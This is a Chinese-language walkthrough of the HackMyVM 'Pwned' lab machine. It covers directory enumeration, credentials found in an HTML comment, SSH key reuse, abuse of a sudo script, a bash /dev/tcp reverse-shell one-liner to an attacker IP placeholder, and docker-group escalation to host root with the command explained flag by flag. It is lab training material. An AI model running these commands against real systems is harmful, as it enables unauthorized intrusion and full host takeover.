0%

HMV-Pwned

HMV-Pwned靶场复盘

Pwned

端口探测

|275
开放了三个端口 ftp ssh http

web探测

访问80端口 网页中只有一句话和一个注释

|450
说明员工里面有一个女性
然后用dirsearch跑一遍 发现之后一个nothing目录 nothing里面确实是nothing😂
这里没有可以注入的点 也没有找到可以进入的目录 没有任何的方向了 说明一定是信息收集不够
用gobuster再跑一遍 gobuster dir -u 192.168.240.74 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 60
发现了新的目录 /hidden_text

找到一个文件 里面又是一些目录的字典 现在再用dirsearch跑一遍 然后进入那个可以访问的界面
|375

进入后有一个登录界面 但是没有可以注入的点
|500
发现有一个注释 注释里面有有用户名ftpuser 密码 B0ss_B!TcH 所以可以登录ftp 还能登录ssh

提权

|375
进入这个shell之后发现里面有两个文件 一个是rsa的私钥 然后告诉了我们一个用户ariana
现在就用这个私钥进入这个用户 在登录之前要先chmod 600
拿到ariana的shell

找到了另外一个用户selena

sudo -l 发现可以执行一个脚本

脚本中的内容为:
|650
这个脚本会echo $msg 就是你写入的消息会被打出来 所以我们可以用selena身份执行脚本 然后得到bash
这里nc 没有-e指令 学习一种新的反弹shell方式
bash -i >&/dev/tcp/ 攻击机_IP / 攻击机端口 0>&1 反弹shell
这里我们直接发bash得到selena 的 shell

发现id在docker组 要用docker提权
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

docker提权命令详细解释

1. docker run

这是 Docker 命令,用于启动一个新的容器并运行指定的命令。

2. -v /:/mnt

  • -v 是 Docker 的卷挂载选项,用于将宿主机的文件系统挂载到容器中。
  • / 表示宿主机的根文件系统。
  • /mnt 是容器内部的挂载点。

所以,-v /:/mnt 这部分命令的作用是将宿主机的根文件系统 / 挂载到容器内部的 /mnt 目录。

3. --rm

  • --rm 表示在容器停止后自动删除容器。这使得容器在退出后不会在 Docker 主机上留下残余文件。

4. -it

  • -i:保持容器的标准输入打开(交互式模式)。
  • -t:为容器分配一个伪终端,这样可以进行交互式操作。

这两个选项组合起来意味着容器将以交互式模式运行,允许用户在容器内执行命令。

5. alpine

  • 这是一个小型的 Linux 发行版镜像,通常用于构建轻量级的 Docker 容器。它包含最基本的工具和库,非常适合用作基础镜像。

6. chroot /mnt

  • chroot 是 Linux 中的一个命令,用于改变当前进程的根目录。执行 chroot /mnt 后,容器内的文件系统根目录变成了 /mnt,而 mnt 被挂载到了宿主机的根文件系统 /
  • 这意味着,容器内的程序和命令将认为 /mnt 是文件系统的根目录。由于 /mnt 映射了宿主机的根文件系统,这实际上使得容器内部的进程进入了宿主机的文件系统环境。

7. sh

  • sh 是在容器中执行的命令,它启动一个 shell(即 sh),允许你在容器内与宿主机的根文件系统交互。